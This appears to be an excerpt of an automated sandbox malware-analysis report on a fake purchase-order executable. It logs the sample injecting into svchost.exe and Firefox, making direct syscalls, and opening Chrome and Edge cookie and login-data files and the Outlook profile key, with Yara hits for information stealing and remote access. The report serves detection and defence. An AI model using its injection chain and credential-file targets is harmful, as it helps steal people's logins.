Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0357096E mov eax, dword ptr fs:[00000030h]		2_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0357096E mov edx, dword ptr fs:[00000030h]		2_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0357096E mov eax, dword ptr fs:[00000030h]		2_2_0357096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BC912 mov eax, dword ptr fs:[00000030h]		2_2_035BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528918 mov eax, dword ptr fs:[00000030h]		2_2_03528918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03528918 mov eax, dword ptr fs:[00000030h]		2_2_03528918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE908 mov eax, dword ptr fs:[00000030h]		2_2_035AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035AE908 mov eax, dword ptr fs:[00000030h]		2_2_035AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B892A mov eax, dword ptr fs:[00000030h]		2_2_035B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C892B mov eax, dword ptr fs:[00000030h]		2_2_035C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0353A9D0 mov eax, dword ptr fs:[00000030h]		2_2_0353A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035649D0 mov eax, dword ptr fs:[00000030h]		2_2_035649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FA9D3 mov eax, dword ptr fs:[00000030h]		2_2_035FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C69C0 mov eax, dword ptr fs:[00000030h]		2_2_035C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035629F9 mov eax, dword ptr fs:[00000030h]		2_2_035629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035629F9 mov eax, dword ptr fs:[00000030h]		2_2_035629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BE9E0 mov eax, dword ptr fs:[00000030h]		2_2_035BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B89B3 mov esi, dword ptr fs:[00000030h]		2_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B89B3 mov eax, dword ptr fs:[00000030h]		2_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035B89B3 mov eax, dword ptr fs:[00000030h]		2_2_035B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035309AD mov eax, dword ptr fs:[00000030h]		2_2_035309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035309AD mov eax, dword ptr fs:[00000030h]		2_2_035309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03560854 mov eax, dword ptr fs:[00000030h]		2_2_03560854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534859 mov eax, dword ptr fs:[00000030h]		2_2_03534859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03534859 mov eax, dword ptr fs:[00000030h]		2_2_03534859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BE872 mov eax, dword ptr fs:[00000030h]		2_2_035BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BE872 mov eax, dword ptr fs:[00000030h]		2_2_035BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6870 mov eax, dword ptr fs:[00000030h]		2_2_035C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035C6870 mov eax, dword ptr fs:[00000030h]		2_2_035C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BC810 mov eax, dword ptr fs:[00000030h]		2_2_035BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov eax, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov eax, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov eax, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov ecx, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov eax, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03552835 mov eax, dword ptr fs:[00000030h]		2_2_03552835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356A830 mov eax, dword ptr fs:[00000030h]		2_2_0356A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D483A mov eax, dword ptr fs:[00000030h]		2_2_035D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035D483A mov eax, dword ptr fs:[00000030h]		2_2_035D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0355E8C0 mov eax, dword ptr fs:[00000030h]		2_2_0355E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036008C0 mov eax, dword ptr fs:[00000030h]		2_2_036008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C8F9 mov eax, dword ptr fs:[00000030h]		2_2_0356C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0356C8F9 mov eax, dword ptr fs:[00000030h]		2_2_0356C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035FA8E4 mov eax, dword ptr fs:[00000030h]		2_2_035FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035BC89D mov eax, dword ptr fs:[00000030h]		2_2_035BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03530887 mov eax, dword ptr fs:[00000030h]		2_2_03530887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CF50 mov eax, dword ptr fs:[00000030h]		2_2_0352CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CF50 mov eax, dword ptr fs:[00000030h]		2_2_0352CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CF50 mov eax, dword ptr fs:[00000030h]		2_2_0352CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CF50 mov eax, dword ptr fs:[00000030h]		2_2_0352CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0352CF50 mov eax, dword ptr fs:[00000030h]		2_2_0352CF50

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AA80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_00AA80A9

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7A124 SetUnhandledExceptionFilter,		0_2_00A7A124
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00A7A155

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtAllocateVirtualMemory: Direct from: 0x77172BFC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtDelayExecution: Direct from: 0x77172DDC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQuerySystemInformation: Direct from: 0x77172DFC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtReadFile: Direct from: 0x77172ADC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQueryInformationProcess: Direct from: 0x77172C26			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtResumeThread: Direct from: 0x77172FBC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtWriteVirtualMemory: Direct from: 0x7717490C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtCreateUserProcess: Direct from: 0x7717371C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtOpenKeyEx: Direct from: 0x77172B9C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtNotifyChangeKey: Direct from: 0x77173C2C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtSetInformationProcess: Direct from: 0x77172C5C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtProtectVirtualMemory: Direct from: 0x77172F9C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtResumeThread: Direct from: 0x771736AC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtMapViewOfSection: Direct from: 0x77172D1C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtWriteVirtualMemory: Direct from: 0x77172E3C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtCreateMutant: Direct from: 0x771735CC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtDeviceIoControlFile: Direct from: 0x77172AEC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtAllocateVirtualMemory: Direct from: 0x77172BEC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtTerminateThread: Direct from: 0x77172FCC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQueryInformationToken: Direct from: 0x77172CAC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtCreateFile: Direct from: 0x77172FEC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtOpenFile: Direct from: 0x77172DCC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtClose: Direct from: 0x77172B6C
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtSetInformationThread: Direct from: 0x771663F9			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtAllocateVirtualMemory: Direct from: 0x77173C9C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQueryAttributesFile: Direct from: 0x77172E6C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtSetInformationThread: Direct from: 0x77172B4C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtReadVirtualMemory: Direct from: 0x77172E8C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtCreateKey: Direct from: 0x77172C6C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQueryVolumeInformationFile: Direct from: 0x77172F2C			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtAllocateVirtualMemory: Direct from: 0x771748EC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtQuerySystemInformation: Direct from: 0x771748CC			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	NtOpenSection: Direct from: 0x77172E0C			Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: NULL target: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: NULL target: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Thread register set: target process: 5192

Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Thread APC queued: target process: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe

Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2A37008

Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AA87B1 LogonUserW,

0_2_00AA87B1

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A53B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00A53B3A

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00A548D7

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AB4C27 mouse_event,

0_2_00AB4C27

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe"			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe "C:\Windows\SysWOW64\RMActivate_ssp_isv.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AA7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00AA7CAF

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AA874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00AA874B

Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: PO_P0986880_03282025.pdf.exe, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000000.1499912475.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679803968.0000000000E41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000000.1499912475.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679803968.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000000.1665847588.0000000000E41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000000.1499912475.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679803968.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000000.1665847588.0000000000E41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerW
Source: fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000000.1499912475.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679803968.0000000000E41000.00000002.00000001.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000000.1665847588.0000000000E41000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A7862B cpuid

0_2_00A7862B

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A84E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00A84E87

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A91E06 GetUserNameW,

0_2_00A91E06

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A83F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00A83F3A

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00A549A0

Lowering of HIPS / PFW / Operating System Security Settings

Source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1215838501.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000002.1230830581.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1215769886.0000000001228000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1224691010.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1219095990.000000000125C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: mcupdate.exe

Stealing of Sensitive Information

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1583802234.00000000033F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1583402724.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680204431.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3678375316.0000000002950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680275719.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3682147563.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1584252317.0000000005A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3680107281.0000000004310000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies			Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_81
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_XP
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_XPe
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_VISTA
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_7
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: WIN_8
Source: PO_P0986880_03282025.pdf.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1583802234.00000000033F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1583402724.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680204431.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3678375316.0000000002950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680275719.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3682147563.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1584252317.0000000005A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3680107281.0000000004310000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AC6283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00AC6283
